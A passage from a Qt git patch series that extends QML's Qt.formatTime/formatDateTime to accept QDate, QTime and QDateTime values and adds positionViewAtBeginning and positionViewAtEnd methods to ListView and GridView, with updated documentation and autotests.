QDeclarativeEnginePrivate::formatTime(QScriptContext*ctxt, QScriptEngine*engine) { @@ -1416,29 +1433,49 @@ QScriptValue QDeclarativeEnginePrivate::formatTime(QScriptContext*ctxt, QScriptE if(argCount == 0 || argCount > 2) return ctxt->throwError(QLatin1String("Qt.formatTime(): Invalid arguments")); - QTime date = ctxt->argument(0).toDateTime().time(); + QTime time; + QScriptValue sv = ctxt->argument(0); + if (sv.isDate()) + time = sv.toDateTime().time(); + else if (sv.toVariant().type() == QVariant::Time) + time = sv.toVariant().toTime(); + Qt::DateFormat enumFormat = Qt::DefaultLocaleShortDate; if (argCount == 2) { QScriptValue formatArg = ctxt->argument(1); if (formatArg.isString()) { QString format = formatArg.toString(); - return engine->newVariant(qVariantFromValue(date.toString(format))); + return engine->newVariant(qVariantFromValue(time.toString(format))); } else if (formatArg.isNumber()) { enumFormat = Qt::DateFormat(formatArg.toUInt32()); } else { return ctxt->throwError(QLatin1String("Qt.formatTime(): Invalid time format")); } } - return engine->newVariant(qVariantFromValue(date.toString(enumFormat))); + return engine->newVariant(qVariantFromValue(time.toString(enumFormat))); } /*! \qmlmethod string Qt::formatDateTime(datetime dateTime, variant format) -Returns the string representation of \c dateTime, formatted according to \c format. -\c format for the date/time formatting functions is be specified as follows. +Returns a string representation of \c datetime, optionally formatted according to +\c format. + +The \a date parameter may be a JavaScript \c Date object, a \l{date}{date} +property, a QDate, QTime, or QDateTime value. - These expressions may be used for the date: +If \a format is not provided, \a dateTime is formatted using +\l {Qt::DefaultLocaleShortDate}{Qt.DefaultLocaleShortDate}. Otherwise, +\a format should be either. + +\list +\o One of the Qt::DateFormat enumeration values, such as + \c Qt.DefaultLocaleShortDate or \c Qt.ISODate +\o A string that specifies the format of the returned string, as detailed below. +\endlist + +If \a format specifies a format string, it should use the following expressions +to specify the date: \table \header \i Expression \i Output @@ -1462,7 +1499,7 @@ Returns the string representation of \c dateTime, formatted according to \c form \row \i yyyy \i the year as four digit number \endtable - These expressions may be used for the time: +In addition the following expressions can be used to specify the time: \table \header \i Expression \i Output @@ -1483,23 +1520,28 @@ Returns the string representation of \c dateTime, formatted according to \c form \endtable All other input characters will be ignored. Any sequence of characters that - are enclosed in singlequotes will be treated as text and not be used as an - expression. Two consecutive singlequotes ("''") are replaced by a singlequote + are enclosed in single quotes will be treated as text and not be used as an + expression. Two consecutive single quotes ("''") are replaced by a single quote in the output. - Example format strings (assumed that the date and time is 21 May 2001 - 14:13:09): +For example, if the following date/time value was specified: + + \code + // 21 May 2001 14:13:09 + var dateTime = new Date(2001, 5, 21, 14, 13, 09) + \endcode + +This \a dateTime value could be passed to \c Qt.formatDateTime(), +\l {QML:Qt::formatDate()}{Qt.formatDate()} or \l {QML:Qt::formatTime()}{Qt.formatTime()} +with the \a format values below to produce the following results: \table - \header \i Format \i Result - \row \i dd.MM.yyyy \i 21.05.2001 - \row \i ddd MMMM d yy \i Tue May 21 01 - \row \i hh:mm:ss.zzz \i 14:13:09.042 - \row \i h:m:s ap \i 2:13:9 pm + \header \i Format \i Result + \row \i "dd.MM.yyyy" \i 21.05.2001 + \row \i "ddd MMMM d yy" \i Tue May 21 01 + \row \i "hh:mm:ss.zzz" \i 14:13:09.042 + \row \i "h:m:s ap" \i 2:13:9 pm \endtable - -If no format is specified the locale's short format is used. Alternatively, you can specify -\c Qt.DefaultLocaleLongDate to get the locale's long format. */ QScriptValue QDeclarativeEnginePrivate::formatDateTime(QScriptContext*ctxt, QScriptEngine*engine) { diff --git a/tests/auto/declarative/qdeclarativeqt/data/formatting.qml b/tests/auto/declarative/qdeclarativeqt/data/formatting.qml index 35c6a29..f520aeb 100644 --- a/tests/auto/declarative/qdeclarativeqt/data/formatting.qml +++ b/tests/auto/declarative/qdeclarativeqt/data/formatting.qml @@ -1,29 +1,44 @@ import QtQuick 1.0 QtObject { - property date date1: "2008-12-24" - property string test1: Qt.formatDate(date1) - property string test2: Qt.formatDate(date1, Qt.DefaultLocaleLongDate) - property string test3: Qt.formatDate(date1, "ddd MMMM d yy") + property date dateFromString: "2008-12-24" + property variant jsdate: new Date(2008,11,24,14,15,38,200) // months are 0-based - property variant time1: new Date(0,0,0,14,15,38,200) - property string test4: Qt.formatTime(time1) - property string test5: Qt.formatTime(time1, Qt.DefaultLocaleLongDate) - property string test6: Qt.formatTime(time1, "H:m:s a") - property string test7: Qt.formatTime(time1, "hh:mm:ss.zzz") + function formatDate(prop) { + var v = eval(prop) + return [ + Qt.formatDate(v), + Qt.formatDate(v, Qt.DefaultLocaleLongDate), + Qt.formatDate(v, "ddd MMMM d yy") + ] + } - property variant dateTime1: new Date(1978,2,4,9,13,54) - property string test8: Qt.formatDateTime(dateTime1) - property string test9: Qt.formatDateTime(dateTime1, Qt.DefaultLocaleLongDate) - property string test10: Qt.formatDateTime(dateTime1, "M/d/yy H:m:s a") + function formatTime(prop) { + var v = eval(prop) + return [ + Qt.formatTime(v), + Qt.formatTime(v, Qt.DefaultLocaleLongDate), + Qt.formatTime(v, "H:m:s a"), + Qt.formatTime(v, "hh:mm:ss.zzz") + ] + } + + function formatDateTime(prop) { + var v = eval(prop) + return [ + Qt.formatDateTime(v), + Qt.formatDateTime(v, Qt.DefaultLocaleLongDate), + Qt.formatDateTime(v, "M/d/yy H:m:s a") + ] + } // Error cases - property string test11: Qt.formatDate() - property string test12: Qt.formatDate(new Date, new Object) + property string err_date1: Qt.formatDate() + property string err_date2: Qt.formatDate(new Date, new Object) - property string test13: Qt.formatTime() - property string test14: Qt.formatTime(new Date, new Object) + property string err_time1: Qt.formatTime() + property string err_time2: Qt.formatTime(new Date, new Object) - property string test15: Qt.formatDateTime() - property string test16: Qt.formatDateTime(new Date, new Object) + property string err_dateTime1: Qt.formatDateTime() + property string err_dateTime2: Qt.formatDateTime(new Date, new Object) } diff --git a/tests/auto/declarative/qdeclarativeqt/qdeclarativeqt.pro b/tests/auto/declarative/qdeclarativeqt/qdeclarativeqt.pro index 6af6500..9e698fe 100644 --- a/tests/auto/declarative/qdeclarativeqt/qdeclarativeqt.pro +++ b/tests/auto/declarative/qdeclarativeqt/qdeclarativeqt.pro @@ -1,5 +1,5 @@ load(qttest_p4) -contains(QT_CONFIG,declarative): QT += declarative +contains(QT_CONFIG,declarative): QT += declarative script SOURCES += tst_qdeclarativeqt.cpp macx:CONFIG -= app_bundle diff --git a/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp b/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp index 9f45d74..c8c1a22 100644 --- a/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp +++ b/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp @@ -38,6 +38,7 @@ ** $QT_END_LICENSE$ ** ****************************************************************************/ +#include #include #include @@ -81,7 +82,8 @@ private slots: void createComponent_pragmaLibrary(); void createQmlObject(); void consoleLog(); - void formatting(); + void dateTimeFormatting(); + void dateTimeFormatting_data(); void isQtObject(); void btoa(); void atob(); @@ -446,49 +448,88 @@ void tst_qdeclarativeqt::consoleLog() delete object; } -void tst_qdeclarativeqt::formatting() +void tst_qdeclarativeqt::dateTimeFormatting() { - QDeclarativeComponent component(&engine, TEST_FILE("formatting.qml")); + QFETCH(QString, method); + QFETCH(QStringList, inputProperties); + QFETCH(QStringList, expectedResults); - QString warning1 = component.url().toString() + ":22: Error: Qt.formatDate(): Invalid date format"; - QString warning2 = component.url().toString() + ":21: Error: Qt.formatDate(): Invalid arguments"; - QString warning3 = component.url().toString() + ":28: Error: Qt.formatDateTime(): Invalid datetime format"; - QString warning4 = component.url().toString() + ":27: Error: Qt.formatDateTime(): Invalid arguments"; - QString warning5 = component.url().toString() + ":25: Error: Qt.formatTime(): Invalid time format"; - QString warning6 = component.url().toString() + ":24: Error: Qt.formatTime(): Invalid arguments"; + QDate date(2008,12,24); + QTime time(14,15,38,200); + QDateTime dateTime(date, time); - QTest::ignoreMessage(QtWarningMsg, qPrintable(warning1)); - QTest::ignoreMessage(QtWarningMsg, qPrintable(warning2)); - QTest::ignoreMessage(QtWarningMsg, qPrintable(warning3)); - QTest::ignoreMessage(QtWarningMsg, qPrintable(warning4)); - QTest::ignoreMessage(QtWarningMsg, qPrintable(warning5)); - QTest::ignoreMessage(QtWarningMsg, qPrintable(warning6)); + QDeclarativeEngine eng; + + eng.rootContext()->setContextProperty("qdate", date); + eng.rootContext()->setContextProperty("qtime", time); + eng.rootContext()->setContextProperty("qdatetime", dateTime); + + QDeclarativeComponent component(&eng, TEST_FILE("formatting.qml")); + + QStringList warnings; + warnings << component.url().toString() + ":37: Error: Qt.formatDate(): Invalid date format" + << component.url().toString() + ":36: Error: Qt.formatDate(): Invalid arguments" + << component.url().toString() + ":40: Error: Qt.formatTime(): Invalid time format" + << component.url().toString() + ":39: Error: Qt.formatTime(): Invalid arguments" + << component.url().toString() + ":43: Error: Qt.formatDateTime(): Invalid datetime format" + << component.url().toString() + ":42: Error: Qt.formatDateTime(): Invalid arguments"; + + foreach (const QString &warning, warnings) + QTest::ignoreMessage(QtWarningMsg, qPrintable(warning)); QObject *object = component.create(); + QVERIFY2(component.errorString().isEmpty(), qPrintable(component.errorString())); QVERIFY(object != 0); - QDate date1(2008,12,24); - QCOMPARE(object->property("date1").toDate(), date1); - QCOMPARE(object->property("test1").toString(), date1.toString(Qt::DefaultLocaleShortDate)); - QCOMPARE(object->property("test2").toString(), date1.toString(Qt::DefaultLocaleLongDate)); - QCOMPARE(object->property("test3").toString(), date1.toString("ddd MMMM d yy")); - - QTime time1(14,15,38,200); - QCOMPARE(object->property("time1").toTime(), time1); - QCOMPARE(object->property("test4").toString(), time1.toString(Qt::DefaultLocaleShortDate)); - QCOMPARE(object->property("test5").toString(), time1.toString(Qt::DefaultLocaleLongDate)); - QCOMPARE(object->property("test6").toString(), time1.toString("H:m:s a")); - QCOMPARE(object->property("test7").toString(), time1.toString("hh:mm:ss.zzz")); - - QDateTime dateTime1(QDate(1978,03,04),QTime(9,13,54)); - QCOMPARE(object->property("dateTime1").toDateTime(),dateTime1); - QCOMPARE(object->property("test8").toString(), dateTime1.toString(Qt::DefaultLocaleShortDate)); - QCOMPARE(object->property("test9").toString(), dateTime1.toString(Qt::DefaultLocaleLongDate)); - QCOMPARE(object->property("test10").toString(), dateTime1.toString("M/d/yy H:m:s a")); + QVERIFY(inputProperties.count() > 0); + + QVariant result; + foreach(const QString &prop, inputProperties) { + QVERIFY(QMetaObject::invokeMethod(object, method.toUtf8().constData(), + Q_RETURN_ARG(QVariant, result), + Q_ARG(QVariant, prop))); + + QStringList output = result.toStringList(); + for (int i=0; i("method"); + QTest::addColumn("inputProperties"); + QTest::addColumn("expectedResults"); + + QDate date(2008,12,24); + QTime time(14,15,38,200); + QDateTime dateTime(date, time); + + QTest::newRow("formatDate") + << "formatDate" + << (QStringList() << "dateFromString" << "jsdate" << "qdate" << "qdatetime") + << (QStringList() << date.toString(Qt::DefaultLocaleShortDate) + << date.toString(Qt::DefaultLocaleLongDate) + << date.toString("ddd MMMM d yy")); + + QTest::newRow("formatTime") + << "formatTime" + << (QStringList() << "jsdate" << "qtime" << "qdatetime") + << (QStringList() << time.toString(Qt::DefaultLocaleShortDate) + << time.toString(Qt::DefaultLocaleLongDate) + << time.toString("H:m:s a") + << time.toString("hh:mm:ss.zzz")); + + QTest::newRow("formatDateTime") + << "formatDateTime" + << (QStringList() << "jsdate" << "qdatetime") + << (QStringList() << dateTime.toString(Qt::DefaultLocaleShortDate) + << dateTime.toString(Qt::DefaultLocaleLongDate) + << dateTime.toString("M/d/yy H:m:s a")); +} + void tst_qdeclarativeqt::isQtObject() { QDeclarativeComponent component(&engine, TEST_FILE("isQtObject.qml")); -- cgit v0.12 From 11347a267125ecd0eaa5b022547297082954eb86 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Tue, 11 Jan 2011 13:09:01 +1000 Subject: Add methods to position view at beginning or end. Takes into account header/footer. Task-number: QTBUG-16213 Reviewed-by: Michael Brasser --- .../graphicsitems/qdeclarativegridview.cpp | 156 ++++++++++++------- .../graphicsitems/qdeclarativegridview_p.h | 2 + .../graphicsitems/qdeclarativeitemsmodule.cpp | 2 + .../graphicsitems/qdeclarativelistview.cpp | 166 ++++++++++++++------- .../graphicsitems/qdeclarativelistview_p.h | 2 + .../qdeclarativegridview/data/gridview1.qml | 8 + .../tst_qdeclarativegridview.cpp | 59 ++++++++ .../qdeclarativelistview/data/listviewtest.qml | 9 ++ .../tst_qdeclarativelistview.cpp | 59 ++++++++ 9 files changed, 355 insertions(+), 108 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp index c2c28c2..6e6e8c1 100644 --- a/src/declarative/graphicsitems/qdeclarativegridview.cpp +++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp @@ -336,6 +336,7 @@ public: } } + void positionViewAtIndex(int index, int mode); virtual void fixup(AxisData &data, qreal minExtent, qreal maxExtent); virtual void flick(AxisData &data, qreal minExtent, qreal maxExtent, qreal vSize, QDeclarativeTimeLineCallback::Callback fixupCallback, qreal velocity); @@ -2124,6 +2125,77 @@ void QDeclarativeGridView::moveCurrentIndexRight() } } +void QDeclarativeGridViewPrivate::positionViewAtIndex(int index, int mode) +{ + Q_Q(QDeclarativeGridView); + if (!isValid()) + return; + if (mode < QDeclarativeGridView::Beginning || mode > QDeclarativeGridView::Contain) + return; + + int idx = qMax(qMin(index, model->count()-1), 0); + + if (layoutScheduled) + layout(); + qreal pos = position(); + FxGridItem *item = visibleItem(idx); + if (!item) { + int itemPos = rowPosAt(idx); + // save the currently visible items in case any of them end up visible again + QList oldVisible = visibleItems; + visibleItems.clear(); + visibleIndex = idx - idx % columns; + setPosition(itemPos); + // now release the reference to all the old visible items. + for (int i = 0; i < oldVisible.count(); ++i) + releaseItem(oldVisible.at(i)); + item = visibleItem(idx); + } + if (item) { + qreal itemPos = item->rowPos(); + switch (mode) { + case QDeclarativeGridView::Beginning: + pos = itemPos; + if (index < 0 && header) { + pos -= flow == QDeclarativeGridView::LeftToRight + ? header->item->height() + : header->item->width(); + } + break; + case QDeclarativeGridView::Center: + pos = itemPos - (size() - rowSize())/2; + break; + case QDeclarativeGridView::End: + pos = itemPos - size() + rowSize(); + if (index >= model->count() && footer) { + pos += flow == QDeclarativeGridView::LeftToRight + ? footer->item->height() + : footer->item->width(); + } + break; + case QDeclarativeGridView::Visible: + if (itemPos > pos + size()) + pos = itemPos - size() + rowSize(); + else if (item->endRowPos() < pos) + pos = itemPos; + break; + case QDeclarativeGridView::Contain: + if (item->endRowPos() > pos + size()) + pos = itemPos - size() + rowSize(); + if (itemPos < pos) + pos = itemPos; + } + qreal maxExtent = flow == QDeclarativeGridView::LeftToRight ? -q->maxYExtent() : -q->maxXExtent(); + pos = qMin(pos, maxExtent); + qreal minExtent = flow == QDeclarativeGridView::LeftToRight ? -q->minYExtent() : -q->minXExtent(); + pos = qMax(pos, minExtent); + moveReason = QDeclarativeGridViewPrivate::Other; + q->cancelFlick(); + setPosition(pos); + } + fixupPosition(); +} + /*! \qmlmethod GridView::positionViewAtIndex(int index, PositionMode mode) @@ -2161,58 +2233,42 @@ void QDeclarativeGridView::positionViewAtIndex(int index, int mode) Q_D(QDeclarativeGridView); if (!d->isValid() || index < 0 || index >= d->model->count()) return; - if (mode < Beginning || mode > Contain) + d->positionViewAtIndex(index, mode); +} + +/*! + \qmlmethod GridView::positionViewAtBeginning() + \qmlmethod GridView::positionViewAtEnd() + + Positions the view at the beginning or end, taking into account any header or footer. + + It is not recommended to use \l {Flickable::}{contentX} or \l {Flickable::}{contentY} to position the view + at a particular index. This is unreliable since removing items from the start + of the list does not cause all other items to be repositioned, and because + the actual start of the view can vary based on the size of the delegates. + + \bold Note: methods should only be called after the Component has completed. To position + the view at startup, this method should be called by Component.onCompleted. For + example, to position the view at the end on startup: + + \code + Component.onCompleted: positionViewAtEnd() + \endcode +*/ +void QDeclarativeGridView::positionViewAtBeginning() +{ + Q_D(QDeclarativeGridView); + if (!d->isValid()) return; + d->positionViewAtIndex(-1, Beginning); +} - if (d->layoutScheduled) - d->layout(); - qreal pos = d->position(); - FxGridItem *item = d->visibleItem(index); - if (!item) { - int itemPos = d->rowPosAt(index); - // save the currently visible items in case any of them end up visible again - QList oldVisible = d->visibleItems; - d->visibleItems.clear(); - d->visibleIndex = index - index % d->columns; - d->setPosition(itemPos); - // now release the reference to all the old visible items. - for (int i = 0; i < oldVisible.count(); ++i) - d->releaseItem(oldVisible.at(i)); - item = d->visibleItem(index); - } - if (item) { - qreal itemPos = item->rowPos(); - switch (mode) { - case Beginning: - pos = itemPos; - break; - case Center: - pos = itemPos - (d->size() - d->rowSize())/2; - break; - case End: - pos = itemPos - d->size() + d->rowSize(); - break; - case Visible: - if (itemPos > pos + d->size()) - pos = itemPos - d->size() + d->rowSize(); - else if (item->endRowPos() < pos) - pos = itemPos; - break; - case Contain: - if (item->endRowPos() > pos + d->size()) - pos = itemPos - d->size() + d->rowSize(); - if (itemPos < pos) - pos = itemPos; - } - qreal maxExtent = d->flow == QDeclarativeGridView::LeftToRight ? -maxYExtent() : -maxXExtent(); - pos = qMin(pos, maxExtent); - qreal minExtent = d->flow == QDeclarativeGridView::LeftToRight ? -minYExtent() : -minXExtent(); - pos = qMax(pos, minExtent); - d->moveReason = QDeclarativeGridViewPrivate::Other; - cancelFlick(); - d->setPosition(pos); - } - d->fixupPosition(); +void QDeclarativeGridView::positionViewAtEnd() +{ + Q_D(QDeclarativeGridView); + if (!d->isValid()) + return; + d->positionViewAtIndex(d->model->count(), End); } /*! diff --git a/src/declarative/graphicsitems/qdeclarativegridview_p.h b/src/declarative/graphicsitems/qdeclarativegridview_p.h index ee632b1..e41537c 100644 --- a/src/declarative/graphicsitems/qdeclarativegridview_p.h +++ b/src/declarative/graphicsitems/qdeclarativegridview_p.h @@ -159,6 +159,8 @@ public: Q_INVOKABLE void positionViewAtIndex(int index, int mode); Q_INVOKABLE int indexAt(int x, int y) const; + Q_INVOKABLE Q_REVISION(1) void positionViewAtBeginning(); + Q_INVOKABLE Q_REVISION(1) void positionViewAtEnd(); static QDeclarativeGridViewAttached *qmlAttachedProperties(QObject *); diff --git a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp index ddbde0b..529686e 100644 --- a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp @@ -180,6 +180,8 @@ void QDeclarativeItemModule::defineModule() qmlRegisterType("QtQuick",1,1,"Pinch"); qmlRegisterType(); qmlRegisterType("QtQuick",1,1,"Flickable"); + qmlRegisterType("QtQuick",1,1,"ListView"); + qmlRegisterType("QtQuick",1,1,"GridView"); qmlRegisterType("QtQuick",1,1,"Repeater"); qmlRegisterType("QtQuick",1,1,"TextEdit"); #ifndef QT_NO_LINEEDIT diff --git a/src/declarative/graphicsitems/qdeclarativelistview.cpp b/src/declarative/graphicsitems/qdeclarativelistview.cpp index 702442b..470f947 100644 --- a/src/declarative/graphicsitems/qdeclarativelistview.cpp +++ b/src/declarative/graphicsitems/qdeclarativelistview.cpp @@ -451,6 +451,7 @@ public: void updateHeader(); void updateFooter(); void fixupPosition(); + void positionViewAtIndex(int index, int mode); virtual void fixup(AxisData &data, qreal minExtent, qreal maxExtent); virtual void flick(QDeclarativeFlickablePrivate::AxisData &data, qreal minExtent, qreal maxExtent, qreal vSize, QDeclarativeTimeLineCallback::Callback fixupCallback, qreal velocity); @@ -2558,6 +2559,79 @@ void QDeclarativeListView::decrementCurrentIndex() } } +void QDeclarativeListViewPrivate::positionViewAtIndex(int index, int mode) +{ + Q_Q(QDeclarativeListView); + if (!isValid()) + return; + if (mode < QDeclarativeListView::Beginning || mode > QDeclarativeListView::Contain) + return; +qDebug() << "positionViewAtIndex"; + int idx = qMax(qMin(index, model->count()-1), 0); + + if (layoutScheduled) + layout(); + qreal pos = position(); + FxListItem *item = visibleItem(idx); + if (!item) { + int itemPos = positionAt(idx); + // save the currently visible items in case any of them end up visible again + QList oldVisible = visibleItems; + visibleItems.clear(); + visiblePos = itemPos; + visibleIndex = idx; + setPosition(itemPos); + // now release the reference to all the old visible items. + for (int i = 0; i < oldVisible.count(); ++i) + releaseItem(oldVisible.at(i)); + item = visibleItem(idx); + } + if (item) { + const qreal itemPos = item->position(); + switch (mode) { + case QDeclarativeListView::Beginning: + pos = itemPos; + if (index < 0 && header) + pos -= header->size(); + break; + case QDeclarativeListView::Center: + pos = itemPos - (size() - item->size())/2; + break; + case QDeclarativeListView::End: + pos = itemPos - size() + item->size(); + if (index >= model->count() && footer) + pos += footer->size(); + break; + case QDeclarativeListView::Visible: + if (itemPos > pos + size()) + pos = itemPos - size() + item->size(); + else if (item->endPosition() < pos) + pos = itemPos; + break; + case QDeclarativeListView::Contain: + if (item->endPosition() > pos + size()) + pos = itemPos - size() + item->size(); + if (itemPos < pos) + pos = itemPos; + } + qreal maxExtent = orient == QDeclarativeListView::Vertical ? -q->maxYExtent() : -q->maxXExtent(); + pos = qMin(pos, maxExtent); + qreal minExtent = orient == QDeclarativeListView::Vertical ? -q->minYExtent() : -q->minXExtent(); + pos = qMax(pos, minExtent); + moveReason = QDeclarativeListViewPrivate::Other; + q->cancelFlick(); + setPosition(pos); + if (highlight) { + if (autoHighlight) { + highlight->setPosition(currentItem->itemPosition()); + highlight->setSize(currentItem->itemSize()); + } + updateHighlight(); + } + } + fixupPosition(); +} + /*! \qmlmethod ListView::positionViewAtIndex(int index, PositionMode mode) @@ -2596,66 +2670,42 @@ void QDeclarativeListView::positionViewAtIndex(int index, int mode) Q_D(QDeclarativeListView); if (!d->isValid() || index < 0 || index >= d->model->count()) return; - if (mode < Beginning || mode > Contain) + d->positionViewAtIndex(index, mode); +} + +/*! + \qmlmethod ListView::positionViewAtBeginning() + \qmlmethod ListView::positionViewAtEnd() + + Positions the view at the beginning or end, taking into account any header or footer. + + It is not recommended to use \l {Flickable::}{contentX} or \l {Flickable::}{contentY} to position the view + at a particular index. This is unreliable since removing items from the start + of the list does not cause all other items to be repositioned, and because + the actual start of the view can vary based on the size of the delegates. + + \bold Note: methods should only be called after the Component has completed. To position + the view at startup, this method should be called by Component.onCompleted. For + example, to position the view at the end on startup: + + \code + Component.onCompleted: positionViewAtEnd() + \endcode +*/ +void QDeclarativeListView::positionViewAtBeginning() +{ + Q_D(QDeclarativeListView); + if (!d->isValid()) return; + d->positionViewAtIndex(-1, Beginning); +} - if (d->layoutScheduled) - d->layout(); - qreal pos = d->position(); - FxListItem *item = d->visibleItem(index); - if (!item) { - int itemPos = d->positionAt(index); - // save the currently visible items in case any of them end up visible again - QList oldVisible = d->visibleItems; - d->visibleItems.clear(); - d->visiblePos = itemPos; - d->visibleIndex = index; - d->setPosition(itemPos); - // now release the reference to all the old visible items. - for (int i = 0; i < oldVisible.count(); ++i) - d->releaseItem(oldVisible.at(i)); - item = d->visibleItem(index); - } - if (item) { - const qreal itemPos = item->position(); - switch (mode) { - case Beginning: - pos = itemPos; - break; - case Center: - pos = itemPos - (d->size() - item->size())/2; - break; - case End: - pos = itemPos - d->size() + item->size(); - break; - case Visible: - if (itemPos > pos + d->size()) - pos = itemPos - d->size() + item->size(); - else if (item->endPosition() < pos) - pos = itemPos; - break; - case Contain: - if (item->endPosition() > pos + d->size()) - pos = itemPos - d->size() + item->size(); - if (itemPos < pos) - pos = itemPos; - } - qreal maxExtent = d->orient == QDeclarativeListView::Vertical ? -maxYExtent() : -maxXExtent(); - pos = qMin(pos, maxExtent); - qreal minExtent = d->orient == QDeclarativeListView::Vertical ? -minYExtent() : -minXExtent(); - pos = qMax(pos, minExtent); - d->moveReason = QDeclarativeListViewPrivate::Other; - cancelFlick(); - d->setPosition(pos); - if (d->highlight) { - if (d->autoHighlight) { - d->highlight->setPosition(d->currentItem->itemPosition()); - d->highlight->setSize(d->currentItem->itemSize()); - } - d->updateHighlight(); - } - } - d->fixupPosition(); +void QDeclarativeListView::positionViewAtEnd() +{ + Q_D(QDeclarativeListView); + if (!d->isValid()) + return; + d->positionViewAtIndex(d->model->count(), End); } /*! diff --git a/src/declarative/graphicsitems/qdeclarativelistview_p.h b/src/declarative/graphicsitems/qdeclarativelistview_p.h index 2678b90..2f7f6da 100644 --- a/src/declarative/graphicsitems/qdeclarativelistview_p.h +++ b/src/declarative/graphicsitems/qdeclarativelistview_p.h @@ -209,6 +209,8 @@ public: Q_INVOKABLE void positionViewAtIndex(int index, int mode); Q_INVOKABLE int indexAt(int x, int y) const; + Q_INVOKABLE Q_REVISION(1) void positionViewAtBeginning(); + Q_INVOKABLE Q_REVISION(1) void positionViewAtEnd(); public Q_SLOTS: void incrementCurrentIndex(); diff --git a/tests/auto/declarative/qdeclarativegridview/data/gridview1.qml b/tests/auto/declarative/qdeclarativegridview/data/gridview1.qml index 77c94ba..e4e699c 100644 --- a/tests/auto/declarative/qdeclarativegridview/data/gridview1.qml +++ b/tests/auto/declarative/qdeclarativegridview/data/gridview1.qml @@ -2,6 +2,8 @@ import QtQuick 1.0 Rectangle { id: root + property bool showHeader: false + property bool showFooter: false property int added: -1 property variant removed @@ -40,6 +42,10 @@ Rectangle { GridView.onAdd: root.added = index GridView.onRemove: root.removed = name } + }, + Component { + id: headerFooter + Rectangle { width: 30; height: 320; color: "blue" } } ] GridView { @@ -52,5 +58,7 @@ Rectangle { flow: (testTopToBottom == false) ? "LeftToRight" : "TopToBottom" model: testModel delegate: myDelegate + header: root.showHeader ? headerFooter : null + footer: root.showFooter ? headerFooter : null } } diff --git a/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp b/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp index bb06c3c..ab80b56 100644 --- a/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp +++ b/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp @@ -86,6 +86,8 @@ private slots: void footer(); void header(); void indexAt(); + void testQtQuick11Attributes(); + void testQtQuick11Attributes_data(); private: QDeclarativeView *createView(); @@ -1133,6 +1135,24 @@ void tst_QDeclarativeGridView::positionViewAtIndex() gridview->positionViewAtIndex(25, QDeclarativeGridView::Contain); QTRY_COMPARE(gridview->contentX(), 240.); + // positionViewAtBeginning + gridview->positionViewAtBeginning(); + QTRY_COMPARE(gridview->contentX(), 0.); + + gridview->setContentX(80); + canvas->rootObject()->setProperty("showHeader", true); + gridview->positionViewAtBeginning(); + QTRY_COMPARE(gridview->contentX(), -30.); + + // positionViewAtEnd + gridview->positionViewAtEnd(); + QTRY_COMPARE(gridview->contentX(), 430.); + + gridview->setContentX(80); + canvas->rootObject()->setProperty("showFooter", true); + gridview->positionViewAtEnd(); + QTRY_COMPARE(gridview->contentX(), 460.); + delete canvas; } @@ -1429,6 +1449,45 @@ void tst_QDeclarativeGridView::indexAt() delete canvas; } +void tst_QDeclarativeGridView::testQtQuick11Attributes() +{ + QFETCH(QString, code); + QFETCH(QString, warning); + QFETCH(QString, error); + + QDeclarativeEngine engine; + QObject *obj; + + QDeclarativeComponent valid(&engine); + valid.setData("import QtQuick 1.1; GridView { " + code.toUtf8() + " }", QUrl("")); + obj = valid.create(); + QVERIFY(obj); + QVERIFY(valid.errorString().isEmpty()); + delete obj; + + QDeclarativeComponent invalid(&engine); + invalid.setData("import QtQuick 1.0; GridView { " + code.toUtf8() + " }", QUrl("")); + QTest::ignoreMessage(QtWarningMsg, warning.toUtf8()); + obj = invalid.create(); + QCOMPARE(invalid.errorString(), error); + delete obj; +} + +void tst_QDeclarativeGridView::testQtQuick11Attributes_data() +{ + QTest::addColumn("code"); + QTest::addColumn("warning"); + QTest::addColumn("error"); + + QTest::newRow("positionViewAtBeginning") << "Component.onCompleted: positionViewAtBeginning()" + << ":1: ReferenceError: Can't find variable: positionViewAtBeginning" + << ""; + + QTest::newRow("positionViewAtEnd") << "Component.onCompleted: positionViewAtEnd()" + << ":1: ReferenceError: Can't find variable: positionViewAtEnd" + << ""; +} + QDeclarativeView *tst_QDeclarativeGridView::createView() { QDeclarativeView *canvas = new QDeclarativeView(0); diff --git a/tests/auto/declarative/qdeclarativelistview/data/listviewtest.qml b/tests/auto/declarative/qdeclarativelistview/data/listviewtest.qml index 534540f..3cd6f42 100644 --- a/tests/auto/declarative/qdeclarativelistview/data/listviewtest.qml +++ b/tests/auto/declarative/qdeclarativelistview/data/listviewtest.qml @@ -1,10 +1,13 @@ import QtQuick 1.0 Rectangle { + id: root width: 240 height: 320 color: "#ffffff" + property bool showHeader: false + property bool showFooter: false property real hr: list.visibleArea.heightRatio function heightRatio() { return list.visibleArea.heightRatio @@ -105,6 +108,10 @@ Rectangle { Component { id: invalidHl SmoothedAnimation {} + }, + Component { + id: headerFooter + Rectangle { height: 30; width: 240; color: "blue" } } ] ListView { @@ -119,5 +126,7 @@ Rectangle { highlightMoveSpeed: 1000 highlightResizeSpeed: 1000 cacheBuffer: testObject.cacheBuffer + header: root.showHeader ? headerFooter : null + footer: root.showFooter ? headerFooter : null } } diff --git a/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp b/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp index e76cb15..80c0118 100644 --- a/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp +++ b/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp @@ -108,6 +108,8 @@ private slots: void QTBUG_16037(); void indexAt(); void incrementalModel(); + void testQtQuick11Attributes(); + void testQtQuick11Attributes_data(); private: template void 